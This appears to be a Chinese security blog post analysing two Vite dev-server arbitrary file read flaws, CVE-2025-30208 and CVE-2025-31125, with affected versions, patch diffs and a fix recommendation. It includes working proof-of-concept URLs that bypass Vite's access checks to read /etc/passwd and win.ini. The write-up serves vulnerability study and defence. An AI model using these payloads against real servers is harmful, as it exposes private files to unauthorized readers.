关注我们❤️,添加星标🌟,一起学安全!作者:tpaer@Timeline Sec 本文字数:3386阅读时长:2~4mins 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Vite 是一款高效的现代化前端构建工具,以快速冷启动和热更新为核心优势,广泛应用于 Vue、React 等项目开发。
0x02 漏洞概述
漏洞编号:CVE-2025-30208&CVE-2025-31125CVE-2025-30208 和CVE-2025-31125漏洞源于 Vite 开发服务器对特定 URL 请求时,没有对请求的路径进行严格的安全检查和限制,导致攻击者可以绕过保护非法读取服务器的任意文件。
0x03 影响版本
CVE-2025-30208:
Vite <= 4.5.9
5.0.0 <= Vite <= 5.4.14
6.0.0 <= Vite <= 6.0.11
6.1.0 <= Vite <= 6.1.1
6.2.0 <= Vite <= 6.2.2
CVE-2025-31125:
vite <= 4.5.10
5.0.0 <= vite <= 5.4.15
6.0.0 <= vite <= 6.0.12
6.1.0 <= vite <= 6.1.2
6.2.0 <= vite <= 6.2.3
0x04 环境搭建
CVE-2025-30208环境
本地搭建存在漏洞的环境,以Vite 4.5.9为例
npm install [email protected]
启动Vite
npx vite
CVE-2025-31125环境
本地搭建存在漏洞的环境,以Vite 6.2.3为例
npm install [email protected]
启动Vite
npx vite
0x05 漏洞复现
CVE-2025-30208复现
CVE-2025-30208 是利用正则表达式匹配的漏洞进行绕过
正常访问路径提示403:The request url "C:/windows/win.ini" is outside of Vite serving allow list.
http://localhost:5173/@fs/C://windows/win.ini
使用如下官方的Poc绕过Vite的访问控制读取到
C://windows/win.ini
文件
http://localhost:5173/@fs/C://windows/win.ini?import&raw??
相应Linux下的Poc
http://localhost:5173/@fs/etc/passwd?import&raw??
CVE-2025-31125复现
CVE-2025-31125是利用inline的规则配合.wsam进行绕过增加的正则检测
使用官方的Poc绕过Vite的访问控制读取到C://windows/win.ini
文件
http://localhost:5173/@fs/C://windows/win.ini?import&inline=1.wasm?init
相应的Linux下的Poc
http://localhost:5173/@fs/etc/passwd?import&inline=1.wasm?init
0x06 漏洞分析
先看第一个版本CVE-2025-30208:以v6.2.2进行分析
https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w
http://localhost:5173/@fs/C://windows/win.ini
根据修复代码定位到packagesvitesrcnodeservermiddlewarestransform.ts
,在URL出打下断点,跳入到removeTimestampQuery
方法中
这里出现两个正则
#用于匹配特定格式的时间戳字符串t=1234567890123const timestampRE = /bt=d{13}&?b/#检查url是否以?或&结尾const trailingSeparatorRE = /[?&]$/
在过滤处理后当前的URL
跳回原来的方法继续执行,以下是一些if判断均不满足条件直接跳过
到了关键处,观察if表达式存在逻辑表达式和短路求值的内容:
A || B:如果 A 为 true,则不会执行 BA && B:如果 A 为 false,则不会执行 B
会先判断(rawRE.test(url) || urlRE.test(url))
当满足rawRE.test(url)=false
并且urlRE.test(url)=false
时则跳过ensureServingAccess
函数,该函数则为vite服务器的一个安全函数用于检查请求的 URL 是否允许被 Vite 服务访问
https://vite.dev/config/server-options.html#server-fs-allow
ensureServingAccess代码
接下来看两个正则
#匹配url是否有url参数export const urlRE = /(?|&)url(?:&|$)/#匹配url是否有raw参数export const rawRE = /(?|&)raw(?:&|$)/
此时我们的url为
/@fs/C://windows/win.ini?import&raw?
首先我们的url内容没有url参数,满足rawRE.test(url)=false
即可
rawRE.test("/@fs/C://windows/win.ini?import&raw?")
为什么POC没有被正则匹配到,是因为这段正则出现了问题,/(?|&)raw(?:&|$)/
只匹配raw
后的&或字符串结尾,raw?
正好绕过
再看官方的修复对比v6.2.2和v6.2.3:增加了一条正则进行匹配,这段正则专门匹配URL 末尾是否有多余的查询参数分隔符(
?
或 &
)从而修复了该问题
const trailingQuerySeparatorsRE = /[?&]+$/
https://github.com/vitejs/vite/compare/v6.2.2...v6.2.3
新的绕过方式CVE-2025-31125
https://github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8
/@fs/C:/windows/win.ini?import&inline=1.wasm?init
除了?url
和?raw
还有一种内联的方法?inline
,他的作用是:
将文件(如图片、字体、WASM 等)的内容转换为 Base64 编码字符串 或 直接嵌入到 JS/HTML/CSS 中,避免额外的 HTTP 请求
?init
主要用于 WebAssembly(.wasm
)文件的初始化,默认只有.wasm
支持?init
其他如.data
、.bin
可以通过插件拓展支持
通过这种新的方法绕过了修复后的正则过滤
对比v6.2.3和v6.2.4:增加了三条正则的匹配,这意味着只要url存在这些参数都会进入到
ensureServingAccess
函数中
const urlRE = /[?&]urlb/const rawRE = /[?&]rawb/const inlineRE = /[?&]inlineb/
https://github.com/vitejs/vite/compare/v6.2.3...v6.2.4
0x07 修复方式
升级到官方修复版本。
参考链接
https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w
https://github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8
回复【加群】进入微信交流群回复【SRC群】进入SRC-QQ交流群回复【新人】领取新人学习指南资料回复【面试】获取渗透测试常见面试题
回复【手册】获取原创技术PDF手册
回复【合作】获取各类安全项目合作方式回复【帮会】付费加入SRC知识库学习回复【培训】获取TimelineSec创办的实战课程
视频号:搜索TimelineSec,官方微博
团队官网:http://www.timelinesec.com
B站:https://space.bilibili.com/524591903
原文始发于微信公众号(Timeline Sec):CVE-2025-30208&31125:Vite任意文件读取漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论